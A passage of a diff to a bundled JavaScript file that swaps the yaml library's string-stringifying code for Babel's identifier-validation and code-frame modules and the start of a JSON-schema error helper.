20E5-\u20F0\u2CEF-\u2CF1\u2D7F\u2DE0-\u2DFF\u302A-\u302F\u3099\u309A\u30FB\uA620-\uA629\uA66F\uA674-\uA67D\uA69E\uA69F\uA6F0\uA6F1\uA802\uA806\uA80B\uA823-\uA827\uA82C\uA880\uA881\uA8B4-\uA8C5\uA8D0-\uA8D9\uA8E0-\uA8F1\uA8FF-\uA909\uA926-\uA92D\uA947-\uA953\uA980-\uA983\uA9B3-\uA9C0\uA9D0-\uA9D9\uA9E5\uA9F0-\uA9F9\uAA29-\uAA36\uAA43\uAA4C\uAA4D\uAA50-\uAA59\uAA7B-\uAA7D\uAAB0\uAAB2-\uAAB4\uAAB7\uAAB8\uAABE\uAABF\uAAC1\uAAEB-\uAAEF\uAAF5\uAAF6\uABE3-\uABEA\uABEC\uABED\uABF0-\uABF9\uFB1E\uFE00-\uFE0F\uFE20-\uFE2F\uFE33\uFE34\uFE4D-\uFE4F\uFF10-\uFF19\uFF3F\uFF65"; + var nonASCIIidentifierStart = new RegExp("[" + nonASCIIidentifierStartChars + "]"); + var nonASCIIidentifier = new RegExp("[" + nonASCIIidentifierStartChars + nonASCIIidentifierChars + "]"); + nonASCIIidentifierStartChars = nonASCIIidentifierChars = null; + var astralIdentifierStartCodes = [0, 11, 2, 25, 2, 18, 2, 1, 2, 14, 3, 13, 35, 122, 70, 52, 268, 28, 4, 48, 48, 31, 14, 29, 6, 37, 11, 29, 3, 35, 5, 7, 2, 4, 43, 157, 19, 35, 5, 35, 5, 39, 9, 51, 13, 10, 2, 14, 2, 6, 2, 1, 2, 10, 2, 14, 2, 6, 2, 1, 4, 51, 13, 310, 10, 21, 11, 7, 25, 5, 2, 41, 2, 8, 70, 5, 3, 0, 2, 43, 2, 1, 4, 0, 3, 22, 11, 22, 10, 30, 66, 18, 2, 1, 11, 21, 11, 25, 71, 55, 7, 1, 65, 0, 16, 3, 2, 2, 2, 28, 43, 28, 4, 28, 36, 7, 2, 27, 28, 53, 11, 21, 11, 18, 14, 17, 111, 72, 56, 50, 14, 50, 14, 35, 39, 27, 10, 22, 251, 41, 7, 1, 17, 2, 60, 28, 11, 0, 9, 21, 43, 17, 47, 20, 28, 22, 13, 52, 58, 1, 3, 0, 14, 44, 33, 24, 27, 35, 30, 0, 3, 0, 9, 34, 4, 0, 13, 47, 15, 3, 22, 0, 2, 0, 36, 17, 2, 24, 20, 1, 64, 6, 2, 0, 2, 3, 2, 14, 2, 9, 8, 46, 39, 7, 3, 1, 3, 21, 2, 6, 2, 1, 2, 4, 4, 0, 19, 0, 13, 4, 31, 9, 2, 0, 3, 0, 2, 37, 2, 0, 26, 0, 2, 0, 45, 52, 19, 3, 21, 2, 31, 47, 21, 1, 2, 0, 185, 46, 42, 3, 37, 47, 21, 0, 60, 42, 14, 0, 72, 26, 38, 6, 186, 43, 117, 63, 32, 7, 3, 0, 3, 7, 2, 1, 2, 23, 16, 0, 2, 0, 95, 7, 3, 38, 17, 0, 2, 0, 29, 0, 11, 39, 8, 0, 22, 0, 12, 45, 20, 0, 19, 72, 200, 32, 32, 8, 2, 36, 18, 0, 50, 29, 113, 6, 2, 1, 2, 37, 22, 0, 26, 5, 2, 1, 2, 31, 15, 0, 328, 18, 16, 0, 2, 12, 2, 33, 125, 0, 80, 921, 103, 110, 18, 195, 2637, 96, 16, 1071, 18, 5, 26, 3994, 6, 582, 6842, 29, 1763, 568, 8, 30, 18, 78, 18, 29, 19, 47, 17, 3, 32, 20, 6, 18, 433, 44, 212, 63, 129, 74, 6, 0, 67, 12, 65, 1, 2, 0, 29, 6135, 9, 1237, 42, 9, 8936, 3, 2, 6, 2, 1, 2, 290, 16, 0, 30, 2, 3, 0, 15, 3, 9, 395, 2309, 106, 6, 12, 4, 8, 8, 9, 5991, 84, 2, 70, 2, 1, 3, 0, 3, 1, 3, 3, 2, 11, 2, 0, 2, 6, 2, 64, 2, 3, 3, 7, 2, 6, 2, 27, 2, 3, 2, 4, 2, 0, 4, 6, 2, 339, 3, 24, 2, 24, 2, 30, 2, 24, 2, 30, 2, 24, 2, 30, 2, 24, 2, 30, 2, 24, 2, 7, 1845, 30, 7, 5, 262, 61, 147, 44, 11, 6, 17, 0, 322, 29, 19, 43, 485, 27, 229, 29, 3, 0, 496, 6, 2, 3, 2, 1, 2, 14, 2, 196, 60, 67, 8, 0, 1205, 3, 2, 26, 2, 1, 2, 0, 3, 0, 2, 9, 2, 3, 2, 0, 2, 0, 7, 0, 5, 0, 2, 0, 2, 0, 2, 2, 2, 1, 2, 0, 3, 0, 2, 0, 2, 0, 2, 0, 2, 0, 2, 1, 2, 0, 3, 3, 2, 6, 2, 3, 2, 3, 2, 0, 2, 9, 2, 16, 6, 2, 2, 4, 2, 16, 4421, 42719, 33, 4153, 7, 221, 3, 5761, 15, 7472, 16, 621, 2467, 541, 1507, 4938, 6, 4191]; + var astralIdentifierCodes = [509, 0, 227, 0, 150, 4, 294, 9, 1368, 2, 2, 1, 6, 3, 41, 2, 5, 0, 166, 1, 574, 3, 9, 9, 7, 9, 32, 4, 318, 1, 80, 3, 71, 10, 50, 3, 123, 2, 54, 14, 32, 10, 3, 1, 11, 3, 46, 10, 8, 0, 46, 9, 7, 2, 37, 13, 2, 9, 6, 1, 45, 0, 13, 2, 49, 13, 9, 3, 2, 11, 83, 11, 7, 0, 3, 0, 158, 11, 6, 9, 7, 3, 56, 1, 2, 6, 3, 1, 3, 2, 10, 0, 11, 1, 3, 6, 4, 4, 68, 8, 2, 0, 3, 0, 2, 3, 2, 4, 2, 0, 15, 1, 83, 17, 10, 9, 5, 0, 82, 19, 13, 9, 214, 6, 3, 8, 28, 1, 83, 16, 16, 9, 82, 12, 9, 9, 7, 19, 58, 14, 5, 9, 243, 14, 166, 9, 71, 5, 2, 1, 3, 3, 2, 0, 2, 1, 13, 9, 120, 6, 3, 6, 4, 0, 29, 9, 41, 6, 2, 3, 9, 0, 10, 10, 47, 15, 343, 9, 54, 7, 2, 7, 17, 9, 57, 21, 2, 13, 123, 5, 4, 0, 2, 1, 2, 6, 2, 0, 9, 9, 49, 4, 2, 1, 2, 4, 9, 9, 330, 3, 10, 1, 2, 0, 49, 6, 4, 4, 14, 10, 5350, 0, 7, 14, 11465, 27, 2343, 9, 87, 9, 39, 4, 60, 6, 26, 9, 535, 9, 470, 0, 2, 54, 8, 3, 82, 0, 12, 1, 19628, 1, 4178, 9, 519, 45, 3, 22, 543, 4, 4, 5, 9, 7, 3, 6, 31, 3, 149, 2, 1418, 49, 513, 54, 5, 49, 9, 0, 15, 0, 23, 4, 2, 14, 1361, 6, 2, 16, 3, 6, 2, 1, 2, 4, 101, 0, 161, 6, 10, 9, 357, 0, 62, 13, 499, 13, 245, 1, 2, 9, 726, 6, 110, 6, 6, 9, 4759, 9, 787719, 239]; + function isInAstralSet(code, set4) { + let pos = 65536; + for (let i7 = 0, length = set4.length; i7 < length; i7 += 2) { + pos += set4[i7]; + if (pos > code) + return false; + pos += set4[i7 + 1]; + if (pos >= code) + return true; } - escEnd = i7; + return false; } - if (ch === "\n") { - if (mode === FOLD_BLOCK) - i7 = consumeMoreIndentedLines(text, i7, indent.length); - end = i7 + indent.length + endStep; - split3 = void 0; - } else { - if (ch === " " && prev && prev !== " " && prev !== "\n" && prev !== " ") { - const next = text[i7 + 1]; - if (next && next !== " " && next !== "\n" && next !== " ") - split3 = i7; + function isIdentifierStart(code) { + if (code < 65) + return code === 36; + if (code <= 90) + return true; + if (code < 97) + return code === 95; + if (code <= 122) + return true; + if (code <= 65535) { + return code >= 170 && nonASCIIidentifierStart.test(String.fromCharCode(code)); } - if (i7 >= end) { - if (split3) { - folds.push(split3); - end = split3 + endStep; - split3 = void 0; - } else if (mode === FOLD_QUOTED) { - while (prev === " " || prev === " ") { - prev = ch; - ch = text[i7 += 1]; - overflow = true; + return isInAstralSet(code, astralIdentifierStartCodes); + } + function isIdentifierChar(code) { + if (code < 48) + return code === 36; + if (code < 58) + return true; + if (code < 65) + return false; + if (code <= 90) + return true; + if (code < 97) + return code === 95; + if (code <= 122) + return true; + if (code <= 65535) { + return code >= 170 && nonASCIIidentifier.test(String.fromCharCode(code)); + } + return isInAstralSet(code, astralIdentifierStartCodes) || isInAstralSet(code, astralIdentifierCodes); + } + function isIdentifierName(name2) { + let isFirst = true; + for (let i7 = 0; i7 < name2.length; i7++) { + let cp = name2.charCodeAt(i7); + if ((cp & 64512) === 55296 && i7 + 1 < name2.length) { + const trail = name2.charCodeAt(++i7); + if ((trail & 64512) === 56320) { + cp = 65536 + ((cp & 1023) << 10) + (trail & 1023); } - const j6 = i7 > escEnd + 1 ? i7 - 2 : escStart - 1; - if (escapedFolds[j6]) - return text; - folds.push(j6); - escapedFolds[j6] = true; - end = j6 + endStep; - split3 = void 0; - } else { - overflow = true; + } + if (isFirst) { + isFirst = false; + if (!isIdentifierStart(cp)) { + return false; + } + } else if (!isIdentifierChar(cp)) { + return false; } } + return !isFirst; } - prev = ch; } - if (overflow && onOverflow) - onOverflow(); - if (folds.length === 0) - return text; - if (onFold) - onFold(); - let res = text.slice(0, folds[0]); - for (let i8 = 0; i8 < folds.length; ++i8) { - const fold = folds[i8]; - const end2 = folds[i8 + 1] || text.length; - if (fold === 0) - res = ` -${indent}${text.slice(0, end2)}`; - else { - if (mode === FOLD_QUOTED && escapedFolds[fold]) - res += `${text[fold]}\\`; - res += ` -${indent}${text.slice(fold + 1, end2)}`; +}); + +// node_modules/@babel/helper-validator-identifier/lib/keyword.js +var require_keyword = __commonJS({ + "node_modules/@babel/helper-validator-identifier/lib/keyword.js"(exports28) { + "use strict"; + init_dirname(); + init_buffer2(); + init_process2(); + Object.defineProperty(exports28, "__esModule", { + value: true + }); + exports28.isKeyword = isKeyword; + exports28.isReservedWord = isReservedWord; + exports28.isStrictBindOnlyReservedWord = isStrictBindOnlyReservedWord; + exports28.isStrictBindReservedWord = isStrictBindReservedWord; + exports28.isStrictReservedWord = isStrictReservedWord; + var reservedWords = { + keyword: ["break", "case", "catch", "continue", "debugger", "default", "do", "else", "finally", "for", "function", "if", "return", "switch", "throw", "try", "var", "const", "while", "with", "new", "this", "super", "class", "extends", "export", "import", "null", "true", "false", "in", "instanceof", "typeof", "void", "delete"], + strict: ["implements", "interface", "let", "package", "private", "protected", "public", "static", "yield"], + strictBind: ["eval", "arguments"] + }; + var keywords = new Set(reservedWords.keyword); + var reservedWordsStrictSet = new Set(reservedWords.strict); + var reservedWordsStrictBindSet = new Set(reservedWords.strictBind); + function isReservedWord(word, inModule) { + return inModule && word === "await" || word === "enum"; } - } - return res; -} -function consumeMoreIndentedLines(text, i7, indent) { - let end = i7; - let start = i7 + 1; - let ch = text[start]; - while (ch === " " || ch === " ") { - if (i7 < start + indent) { - ch = text[++i7]; - } else { - do { - ch = text[++i7]; - } while (ch && ch !== "\n"); - end = i7; - start = i7 + 1; - ch = text[start]; + function isStrictReservedWord(word, inModule) { + return isReservedWord(word, inModule) || reservedWordsStrictSet.has(word); + } + function isStrictBindOnlyReservedWord(word) { + return reservedWordsStrictBindSet.has(word); + } + function isStrictBindReservedWord(word, inModule) { + return isStrictReservedWord(word, inModule) || isStrictBindOnlyReservedWord(word); + } + function isKeyword(word) { + return keywords.has(word); } } - return end; -} -var FOLD_FLOW, FOLD_BLOCK, FOLD_QUOTED; -var init_foldFlowLines = __esm({ - "node_modules/yaml/browser/dist/stringify/foldFlowLines.js"() { +}); + +// node_modules/@babel/helper-validator-identifier/lib/index.js +var require_lib = __commonJS({ + "node_modules/@babel/helper-validator-identifier/lib/index.js"(exports28) { + "use strict"; init_dirname(); init_buffer2(); init_process2(); - FOLD_FLOW = "flow"; - FOLD_BLOCK = "block"; - FOLD_QUOTED = "quoted"; + Object.defineProperty(exports28, "__esModule", { + value: true + }); + Object.defineProperty(exports28, "isIdentifierChar", { + enumerable: true, + get: function() { + return _identifier.isIdentifierChar; + } + }); + Object.defineProperty(exports28, "isIdentifierName", { + enumerable: true, + get: function() { + return _identifier.isIdentifierName; + } + }); + Object.defineProperty(exports28, "isIdentifierStart", { + enumerable: true, + get: function() { + return _identifier.isIdentifierStart; + } + }); + Object.defineProperty(exports28, "isKeyword", { + enumerable: true, + get: function() { + return _keyword.isKeyword; + } + }); + Object.defineProperty(exports28, "isReservedWord", { + enumerable: true, + get: function() { + return _keyword.isReservedWord; + } + }); + Object.defineProperty(exports28, "isStrictBindOnlyReservedWord", { + enumerable: true, + get: function() { + return _keyword.isStrictBindOnlyReservedWord; + } + }); + Object.defineProperty(exports28, "isStrictBindReservedWord", { + enumerable: true, + get: function() { + return _keyword.isStrictBindReservedWord; + } + }); + Object.defineProperty(exports28, "isStrictReservedWord", { + enumerable: true, + get: function() { + return _keyword.isStrictReservedWord; + } + }); + var _identifier = require_identifier(); + var _keyword = require_keyword(); } }); -// node_modules/yaml/browser/dist/stringify/stringifyString.js -function lineLengthOverLimit(str2, lineWidth, indentLength) { - if (!lineWidth || lineWidth < 0) - return false; - const limit = lineWidth - indentLength; - const strLen = str2.length; - if (strLen <= limit) - return false; - for (let i7 = 0, start = 0; i7 < strLen; ++i7) { - if (str2[i7] === "\n") { - if (i7 - start > limit) - return true; - start = i7 + 1; - if (strLen - start <= limit) - return false; +// node_modules/@babel/code-frame/lib/index.js +var require_lib2 = __commonJS({ + "node_modules/@babel/code-frame/lib/index.js"(exports28) { + "use strict"; + init_dirname(); + init_buffer2(); + init_process2(); + Object.defineProperty(exports28, "__esModule", { value: true }); + var picocolors = require_picocolors_browser(); + var jsTokens = require_js_tokens(); + var helperValidatorIdentifier = require_lib(); + function isColorSupported() { + return typeof process === "object" && (process.env.FORCE_COLOR === "0" || process.env.FORCE_COLOR === "false") ? false : picocolors.isColorSupported; } - } - return true; -} -function doubleQuotedString(value2, ctx) { - const json2 = JSON.stringify(value2); - if (ctx.options.doubleQuotedAsJSON) - return json2; - const { implicitKey } = ctx; - const minMultiLineLength = ctx.options.doubleQuotedMinMultiLineLength; - const indent = ctx.indent || (containsDocumentMarker(value2) ? " " : ""); - let str2 = ""; - let start = 0; - for (let i7 = 0, ch = json2[i7]; ch; ch = json2[++i7]) { - if (ch === " " && json2[i7 + 1] === "\\" && json2[i7 + 2] === "n") { - str2 += json2.slice(start, i7) + "\\ "; - i7 += 1; - start = i7; - ch = "\\"; + var compose = (f8, g7) => (v8) => f8(g7(v8)); + function buildDefs(colors) { + return { + keyword: colors.cyan, + capitalized: colors.yellow, + jsxIdentifier: colors.yellow, + punctuator: colors.yellow, + number: colors.magenta, + string: colors.green, + regex: colors.magenta, + comment: colors.gray, + invalid: compose(compose(colors.white, colors.bgRed), colors.bold), + gutter: colors.gray, + marker: compose(colors.red, colors.bold), + message: compose(colors.red, colors.bold), + reset: colors.reset + }; } - if (ch === "\\") - switch (json2[i7 + 1]) { - case "u": - { - str2 += json2.slice(start, i7); - const code = json2.substr(i7 + 2, 4); - switch (code) { - case "0000": - str2 += "\\0"; - break; - case "0007": - str2 += "\\a"; - break; - case "000b": - str2 += "\\v"; - break; - case "001b": - str2 += "\\e"; - break; - case "0085": - str2 += "\\N"; - break; - case "00a0": - str2 += "\\_"; - break; - case "2028": - str2 += "\\L"; - break; - case "2029": - str2 += "\\P"; - break; - default: - if (code.substr(0, 2) === "00") - str2 += "\\x" + code.substr(2); - else - str2 += json2.substr(i7, 6); - } - i7 += 5; - start = i7 + 1; + var defsOn = buildDefs(picocolors.createColors(true)); + var defsOff = buildDefs(picocolors.createColors(false)); + function getDefs(enabled) { + return enabled ? defsOn : defsOff; + } + var sometimesKeywords = /* @__PURE__ */ new Set(["as", "async", "from", "get", "of", "set"]); + var NEWLINE$1 = /\r\n|[\n\r\u2028\u2029]/; + var BRACKET = /^[()[\]{}]$/; + var tokenize; + { + const JSX_TAG = /^[a-z][\w-]*$/i; + const getTokenType = function(token, offset, text) { + if (token.type === "name") { + if (helperValidatorIdentifier.isKeyword(token.value) || helperValidatorIdentifier.isStrictReservedWord(token.value, true) || sometimesKeywords.has(token.value)) { + return "keyword"; } - break; - case "n": - if (implicitKey || json2[i7 + 2] === '"' || json2.length < minMultiLineLength) { - i7 += 1; + if (JSX_TAG.test(token.value) && (text[offset - 1] === "<" || text.slice(offset - 2, offset) === " defs[type3](str2)).join("\n"); + } else { + highlighted += value2; + } + } + return highlighted; + } + var deprecationWarningShown = false; + var NEWLINE = /\r\n|[\n\r\u2028\u2029]/; + function getMarkerLines(loc, source, opts) { + const startLoc = Object.assign({ + column: 0, + line: -1 + }, loc.start); + const endLoc = Object.assign({}, startLoc, loc.end); + const { + linesAbove = 2, + linesBelow = 3 + } = opts || {}; + const startLine = startLoc.line; + const startColumn = startLoc.column; + const endLine = endLoc.line; + const endColumn = endLoc.column; + let start = Math.max(startLine - (linesAbove + 1), 0); + let end = Math.min(source.length, endLine + linesBelow); + if (startLine === -1) { + start = 0; + } + if (endLine === -1) { + end = source.length; + } + const lineDiff = endLine - startLine; + const markerLines = {}; + if (lineDiff) { + for (let i7 = 0; i7 <= lineDiff; i7++) { + const lineNumber = i7 + startLine; + if (!startColumn) { + markerLines[lineNumber] = true; + } else if (i7 === 0) { + const sourceLength = source[lineNumber - 1].length; + markerLines[lineNumber] = [startColumn, sourceLength - startColumn + 1]; + } else if (i7 === lineDiff) { + markerLines[lineNumber] = [0, endColumn]; } else { - str2 += json2.slice(start, i7) + "\n\n"; - while (json2[i7 + 2] === "\\" && json2[i7 + 3] === "n" && json2[i7 + 4] !== '"') { - str2 += "\n"; - i7 += 2; - } - str2 += indent; - if (json2[i7 + 2] === " ") - str2 += "\\"; - i7 += 1; - start = i7 + 1; + const sourceLength = source[lineNumber - i7].length; + markerLines[lineNumber] = [0, sourceLength]; } - break; - default: - i7 += 1; + } + } else { + if (startColumn === endColumn) { + if (startColumn) { + markerLines[startLine] = [startColumn, 0]; + } else { + markerLines[startLine] = true; + } + } else { + markerLines[startLine] = [startColumn, endColumn - startColumn]; + } } - } - str2 = start ? str2 + json2.slice(start) : json2; - return implicitKey ? str2 : foldFlowLines(str2, indent, FOLD_QUOTED, getFoldOptions(ctx, false)); -} -function singleQuotedString(value2, ctx) { - if (ctx.options.singleQuote === false || ctx.implicitKey && value2.includes("\n") || /[ \t]\n|\n[ \t]/.test(value2)) - return doubleQuotedString(value2, ctx); - const indent = ctx.indent || (containsDocumentMarker(value2) ? " " : ""); - const res = "'" + value2.replace(/'/g, "''").replace(/\n+/g, `$& -${indent}`) + "'"; - return ctx.implicitKey ? res : foldFlowLines(res, indent, FOLD_FLOW, getFoldOptions(ctx, false)); -} -function quotedString(value2, ctx) { - const { singleQuote: singleQuote2 } = ctx.options; - let qs; - if (singleQuote2 === false) - qs = doubleQuotedString; - else { - const hasDouble = value2.includes('"'); - const hasSingle = value2.includes("'"); - if (hasDouble && !hasSingle) - qs = singleQuotedString; - else if (hasSingle && !hasDouble) - qs = doubleQuotedString; - else - qs = singleQuote2 ? singleQuotedString : doubleQuotedString; - } - return qs(value2, ctx); -} -function blockString({ comment, type: type3, value: value2 }, ctx, onComment, onChompKeep) { - const { blockQuote, commentString, lineWidth } = ctx.options; - if (!blockQuote || /\n[\t ]+$/.test(value2) || /^\s*$/.test(value2)) { - return quotedString(value2, ctx); - } - const indent = ctx.indent || (ctx.forceBlockIndent || containsDocumentMarker(value2) ? " " : ""); - const literal = blockQuote === "literal" ? true : blockQuote === "folded" || type3 === Scalar.BLOCK_FOLDED ? false : type3 === Scalar.BLOCK_LITERAL ? true : !lineLengthOverLimit(value2, lineWidth, indent.length); - if (!value2) - return literal ? "|\n" : ">\n"; - let chomp; - let endStart; - for (endStart = value2.length; endStart > 0; --endStart) { - const ch = value2[endStart - 1]; - if (ch !== "\n" && ch !== " " && ch !== " ") - break; - } - let end = value2.substring(endStart); - const endNlPos = end.indexOf("\n"); - if (endNlPos === -1) { - chomp = "-"; - } else if (value2 === end || endNlPos !== end.length - 1) { - chomp = "+"; - if (onChompKeep) - onChompKeep(); - } else { - chomp = ""; - } - if (end) { - value2 = value2.slice(0, -end.length); - if (end[end.length - 1] === "\n") - end = end.slice(0, -1); - end = end.replace(blockEndNewlines, `$&${indent}`); - } - let startWithSpace = false; - let startEnd; - let startNlPos = -1; - for (startEnd = 0; startEnd < value2.length; ++startEnd) { - const ch = value2[startEnd]; - if (ch === " ") - startWithSpace = true; - else if (ch === "\n") - startNlPos = startEnd; - else - break; - } - let start = value2.substring(0, startNlPos < startEnd ? startNlPos + 1 : startEnd); - if (start) { - value2 = value2.substring(start.length); - start = start.replace(/\n+/g, `$&${indent}`); - } - const indentSize = indent ? "2" : "1"; - let header = (startWithSpace ? indentSize : "") + chomp; - if (comment) { - header += " " + commentString(comment.replace(/ ?[\r\n]+/g, " ")); - if (onComment) - onComment(); - } - if (!literal) { - const foldedValue = value2.replace(/\n+/g, "\n$&").replace(/(?:^|\n)([\t ].*)(?:([\n\t ]*)\n(?![\n\t ]))?/g, "$1$2").replace(/\n+/g, `$&${indent}`); - let literalFallback = false; - const foldOptions = getFoldOptions(ctx, true); - if (blockQuote !== "folded" && type3 !== Scalar.BLOCK_FOLDED) { - foldOptions.onOverflow = () => { - literalFallback = true; + return { + start, + end, + markerLines }; } - const body = foldFlowLines(`${start}${foldedValue}${end}`, indent, FOLD_BLOCK, foldOptions); - if (!literalFallback) - return `>${header} -${indent}${body}`; - } - value2 = value2.replace(/\n+/g, `$&${indent}`); - return `|${header} -${indent}${start}${value2}${end}`; -} -function plainString(item, ctx, onComment, onChompKeep) { - const { type: type3, value: value2 } = item; - const { actualString, implicitKey, indent, indentStep, inFlow } = ctx; - if (implicitKey && value2.includes("\n") || inFlow && /[[\]{},]/.test(value2)) { - return quotedString(value2, ctx); - } - if (/^[\n\t ,[\]{}#&*!|>'"%@`]|^[?-]$|^[?-][ \t]|[\n:][ \t]|[ \t]\n|[\n\t ]#|[\n\t :]$/.test(value2)) { - return implicitKey || inFlow || !value2.includes("\n") ? quotedString(value2, ctx) : blockString(item, ctx, onComment, onChompKeep); - } - if (!implicitKey && !inFlow && type3 !== Scalar.PLAIN && value2.includes("\n")) { - return blockString(item, ctx, onComment, onChompKeep); - } - if (containsDocumentMarker(value2)) { - if (indent === "") { - ctx.forceBlockIndent = true; - return blockString(item, ctx, onComment, onChompKeep); - } else if (implicitKey && indent === indentStep) { - return quotedString(value2, ctx); + function codeFrameColumns(rawLines, loc, opts = {}) { + const shouldHighlight = opts.forceColor || isColorSupported() && opts.highlightCode; + const defs = getDefs(shouldHighlight); + const lines = rawLines.split(NEWLINE); + const { + start, + end, + markerLines + } = getMarkerLines(loc, lines, opts); + const hasColumns = loc.start && typeof loc.start.column === "number"; + const numberMaxWidth = String(end).length; + const highlightedLines = shouldHighlight ? highlight(rawLines) : rawLines; + let frame = highlightedLines.split(NEWLINE, end).slice(start, end).map((line, index5) => { + const number = start + 1 + index5; + const paddedNumber = ` ${number}`.slice(-numberMaxWidth); + const gutter = ` ${paddedNumber} |`; + const hasMarker = markerLines[number]; + const lastMarkerLine = !markerLines[number + 1]; + if (hasMarker) { + let markerLine = ""; + if (Array.isArray(hasMarker)) { + const markerSpacing = line.slice(0, Math.max(hasMarker[0] - 1, 0)).replace(/[^\t]/g, " "); + const numberOfMarkers = hasMarker[1] || 1; + markerLine = ["\n ", defs.gutter(gutter.replace(/\d/g, " ")), " ", markerSpacing, defs.marker("^").repeat(numberOfMarkers)].join(""); + if (lastMarkerLine && opts.message) { + markerLine += " " + defs.message(opts.message); + } + } + return [defs.marker(">"), defs.gutter(gutter), line.length > 0 ? ` ${line}` : "", markerLine].join(""); + } else { + return ` ${defs.gutter(gutter)}${line.length > 0 ? ` ${line}` : ""}`; + } + }).join("\n"); + if (opts.message && !hasColumns) { + frame = `${" ".repeat(numberMaxWidth + 1)}${opts.message} +${frame}`; + } + if (shouldHighlight) { + return defs.reset(frame); + } else { + return frame; + } } - } - const str2 = value2.replace(/\n+/g, `$& -${indent}`); - if (actualString) { - const test = (tag) => tag.default && tag.tag !== "tag:yaml.org,2002:str" && tag.test?.test(str2); - const { compat, tags: tags6 } = ctx.doc.schema; - if (tags6.some(test) || compat?.some(test)) - return quotedString(value2, ctx); - } - return implicitKey ? str2 : foldFlowLines(str2, indent, FOLD_FLOW, getFoldOptions(ctx, false)); -} -function stringifyString(item, ctx, onComment, onChompKeep) { - const { implicitKey, inFlow } = ctx; - const ss = typeof item.value === "string" ? item : Object.assign({}, item, { value: String(item.value) }); - let { type: type3 } = item; - if (type3 !== Scalar.QUOTE_DOUBLE) { - if (/[\x00-\x08\x0b-\x1f\x7f-\x9f\u{D800}-\u{DFFF}]/u.test(ss.value)) - type3 = Scalar.QUOTE_DOUBLE; - } - const _stringify = (_type) => { - switch (_type) { - case Scalar.BLOCK_FOLDED: - case Scalar.BLOCK_LITERAL: - return implicitKey || inFlow ? quotedString(ss.value, ctx) : blockString(ss, ctx, onComment, onChompKeep); - case Scalar.QUOTE_DOUBLE: - return doubleQuotedString(ss.value, ctx); - case Scalar.QUOTE_SINGLE: - return singleQuotedString(ss.value, ctx); - case Scalar.PLAIN: - return plainString(ss, ctx, onComment, onChompKeep); - default: - return null; + function index4(rawLines, lineNumber, colNumber, opts = {}) { + if (!deprecationWarningShown) { + deprecationWarningShown = true; + const message = "Passing lineNumber and colNumber is deprecated to @babel/code-frame. Please use `codeFrameColumns`."; + if (process.emitWarning) { + process.emitWarning(message, "DeprecationWarning"); + } else { + const deprecationError = new Error(message); + deprecationError.name = "DeprecationWarning"; + console.warn(new Error(message)); + } + } + colNumber = Math.max(colNumber, 0); + const location2 = { + start: { + column: colNumber, + line: lineNumber + } + }; + return codeFrameColumns(rawLines, location2, opts); } - }; - let res = _stringify(type3); - if (res === null) { - const { defaultKeyType, defaultStringType } = ctx.options; - const t8 = implicitKey && defaultKeyType || defaultStringType; - res = _stringify(t8); - if (res === null) - throw new Error(`Unsupported default string type ${t8}`); + exports28.codeFrameColumns = codeFrameColumns; + exports28.default = index4; + exports28.highlight = highlight; } - return res; -} -var getFoldOptions, containsDocumentMarker, blockEndNewlines; -var init_stringifyString = __esm({ - "node_modules/yaml/browser/dist/stringify/stringifyString.js"() { +}); + +// node_modules/@readme/better-ajv-errors/lib/json/utils.js +var require_utils2 = __commonJS({ + "node_modules/@readme/better-ajv-errors/lib/json/utils.js"(exports28) { + "use strict"; init_dirname(); init_buffer2(); init_process2(); - init_Scalar(); - init_foldFlowLines(); - getFoldOptions = (ctx, isBlock2) => ({ - indentAtStart: isBlock2 ? ctx.indent.length : ctx.indentAtStart, - lineWidth: ctx.options.lineWidth, - minContentWidth: ctx.options.minContentWidth + Object.defineProperty(exports28, "__esModule", { + value: true }); - containsDocumentMarker = (str2) => /^(%|---|\.\.\.)/m.test(str2); - try { - blockEndNewlines = new RegExp("(^|(? t8.tag === item.tag); - if (match.length > 0) - return match.find((t8) => t8.format === item.format) ?? match[0]; - } - let tagObj = void 0; - let obj; - if (isScalar(item)) { - obj = item.value; - let match = tags6.filter((t8) => t8.identify?.(obj)); - if (match.length > 1) { - const testMatch = match.filter((t8) => t8.test); - if (testMatch.length > 0) - match = testMatch; - } - tagObj = match.find((t8) => t8.format === item.format) ?? match.find((t8) => !t8.format); - } else { - obj = item; - tagObj = tags6.find((t8) => t8.nodeClass && obj instanceof t8.nodeClass); - } - if (!tagObj) { - const name2 = obj?.constructor?.name ?? (obj === null ? "null" : typeof obj); - throw new Error(`Tag not resolved for ${name2} value`); - } - return tagObj; -} -function stringifyProps(node, tagObj, { anchors, doc }) { - if (!doc.directives) - return ""; - const props = []; - const anchor = (isScalar(node) || isCollection(node)) && node.anchor; - if (anchor && anchorIsValid(anchor)) { - anchors.add(anchor); - props.push(`&${anchor}`); - } - const tag = node.tag ?? (tagObj.default ? null : tagObj.tag); - if (tag) - props.push(doc.directives.tagString(tag)); - return props.join(" "); -} -function stringify(item, ctx, onComment, onChompKeep) { - if (isPair(item)) - return item.toString(ctx, onComment, onChompKeep); - if (isAlias(item)) { - if (ctx.doc.directives) - return item.toString(ctx); - if (ctx.resolvedAliases?.has(item)) { - throw new TypeError(`Cannot stringify circular structure without alias nodes`); - } else { - if (ctx.resolvedAliases) - ctx.resolvedAliases.add(item); - else - ctx.resolvedAliases = /* @__PURE__ */ new Set([item]); - item = item.resolve(ctx.doc); - } - } - let tagObj = void 0; - const node = isNode(item) ? item : ctx.doc.createNode(item, { onTagObj: (o7) => tagObj = o7 }); - tagObj ?? (tagObj = getTagObject(ctx.doc.schema.tags, node)); - const props = stringifyProps(node, tagObj, ctx); - if (props.length > 0) - ctx.indentAtStart = (ctx.indentAtStart ?? 0) + props.length + 1; - const str2 = typeof tagObj.stringify === "function" ? tagObj.stringify(node, ctx, onComment, onChompKeep) : isScalar(node) ? stringifyString(node, ctx, onComment, onChompKeep) : node.toString(ctx, onComment, onChompKeep); - if (!props) - return str2; - return isScalar(node) || str2[0] === "{" || str2[0] === "[" ? `${props} ${str2}` : `${props} -${ctx.indent}${str2}`; -} -var init_stringify = __esm({ - "node_modules/yaml/browser/dist/stringify/stringify.js"() { +// node_modules/@readme/better-ajv-errors/lib/json/get-meta-from-path.js +var require_get_meta_from_path = __commonJS({ + "node_modules/@readme/better-ajv-errors/lib/json/get-meta-from-path.js"(exports28, module5) { + "use strict"; init_dirname(); init_buffer2(); init_process2(); - init_anchors(); - init_identity(); - init_stringifyComment(); - init_stringifyString(); - } -}); - -// node_modules/yaml/browser/dist/stringify/stringifyPair.js -function stringifyPair({ key, value: value2 }, ctx, onComment, onChompKeep) { - const { allNullValues, doc, indent, indentStep, options: { commentString, indentSeq, simpleKeys } } = ctx; - let keyComment = isNode(key) && key.comment || null; - if (simpleKeys) { - if (keyComment) { - 